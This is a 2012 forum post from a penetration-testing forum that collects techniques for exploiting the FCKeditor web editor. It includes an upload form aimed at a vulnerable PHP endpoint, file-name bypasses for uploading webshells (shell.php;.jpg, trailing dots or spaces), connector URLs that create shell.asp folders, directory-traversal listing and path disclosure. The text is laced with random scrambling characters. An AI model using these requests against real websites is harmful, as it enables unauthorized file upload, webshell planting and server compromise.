中国网络渗透测试联盟

标题: FCKeditor漏洞利用总结 [打印本页]

作者: 荒村狂客    时间: 2012-9-5 20:23
标题: FCKeditor漏洞利用总结
Fckeditor漏洞利用总结

查看编辑器版本
* I5 W5 I! d8 _8 o6 ]FCKeditor/_whatsnew.html/ N6 Y7 L# x9 r8 _6 h
—————————————————————————————————————————————————————————————

2. Version 2.2 版本, y; h; H  g0 Z+ e' j4 ]  q
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
! \7 `" ^) ?' }" l& F—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
% w# D2 B9 I9 t<form id="frmUpload" enctype="multipart/form-data". K! ~% M! `7 O- |4 `
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>7 S6 k" D8 T6 X* A+ I6 X
<input type="file" name="NewFile" size="50"><br>
, W7 `$ \' c: k) R# C4 y<input id="btnUpload" type="submit" value="Upload">* O0 A6 Q! I1 S& a9 `3 d  Q
</form>: R4 J8 ^+ U+ O7 E+ S, f! I
—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
9 l! \. _. A) D1 k* P8 u1 Z        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
' E2 G, v3 @6 `+ K1 H3 [* H3 G    4.1:提交shell.php+空格绕过
7 j: j( n6 J2 M不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
+ |4 p& }8 Z& v. {5 M9 t    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。2 j- y) e' j4 F; I
—————————————————————————————————————————————————————————————

5. 突破建立文件夹
, h$ _3 N& N/ f, wFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684  W" ]( k* @! J. t" {
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
9 y- [( A  b* E; R' ^- x—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址
# L9 O1 ]1 n; a" x! q/ p7 U9 _1 hFCKeditor/editor/filemanager/browser/default/connectors/test.html
6 p7 L/ R& a# K; w) \) S; ?7 \FCKeditor/editor/filemanager/upload/test.html7 X8 ^( U5 R; `" h3 ~
FCKeditor/editor/filemanager/connectors/test.html
9 m/ h; R* Q) U  IFCKeditor/editor/filemanager/connectors/uploadtest.html8 T0 A. x: _1 ?1 A6 B7 O
—————————————————————————————————————————————————————————————$ ~+ _+ v$ Q( r* v7 C

7.常用上传地址, J3 v) O4 u' j+ o8 g
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
; J# k9 P" q. X+ @4 cFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
" a1 b* B/ c7 f* y8 T6 GFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
/ L, h) D2 Z% [8 a( p- |* fJSP 版:
- m9 L1 `" ]+ U" H! MFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
" b" I$ [8 R6 @. z注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文0 }& d5 V2 T5 M' Z2 @3 B  D
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
  Z' ?4 c6 J, c3 Z1 b; M, I—————————————————————————————————————————————————————————————

8.其他上传地址* f' v: M5 d  d. |  B% V; r( u
FCKeditor/_samples/default.html
0 o) |) w* u3 t" l7 |4 r7 XFCKeditor/_samples/asp/sample01.asp& J3 J) F  w0 t  k5 L$ N1 u+ [5 a
FCKeditor/_samples/asp/sample02.asp/ m7 m1 ]( ]1 ?3 s
FCKeditor/_samples/asp/sample03.asp& L6 x( ]' A0 p" K/ h1 {1 L! Y6 F
FCKeditor/_samples/asp/sample04.asp' U4 T, b4 A- O2 [) z: {
一般很多站点都已删除_samples 目录,可以试试。
$ i! A' w) v9 w2 N2 h2 _8 ^: pFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。, V/ H6 R- x) A$ r$ e- A
—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址
  F( x: ]! h; F9 f/ c7 WVersion 2.4.1 测试通过! D- f6 t  _8 Z7 W1 Z8 H5 @
修改CurrentFolder 参数使用 ../../来进入不同的目录
+ A/ s, K: @+ \$ G! X0 G/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
8 y' d7 \# c- V( {根据返回的XML 信息可以查看网站所有的目录。, D- k2 \' I7 {0 g
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F5 }. z' M  w$ @7 ~( c$ K
也可以直接浏览盘符:5 D& A2 a6 l% M% Y; b+ G
JSP 版本:
9 j7 A0 R3 `( Z( Q- D+ fFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
1 l* K' L/ t$ n1 ~( J—————————————————————————————————————————————————————————————

10.爆路径漏洞9 ^9 r8 O% S. ?
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
: \2 D4 L! q. b—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题
& q" R: t& b0 u        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
/ s* @+ u9 s" H, K2 b& E1 ^0 }脆弱描述:
+ P) m! Q/ C+ k: n  x1 Y0 cFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
) U# c/ y3 d9 X/ hhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm( n# l, t3 z- m3 L& O
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
& O% a: A+ ^$ G& W        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。% {" H& u( h6 I' R( B: F
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!


作者: admin    时间: 2012-9-8 22:43
[attach]41[/attach]




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2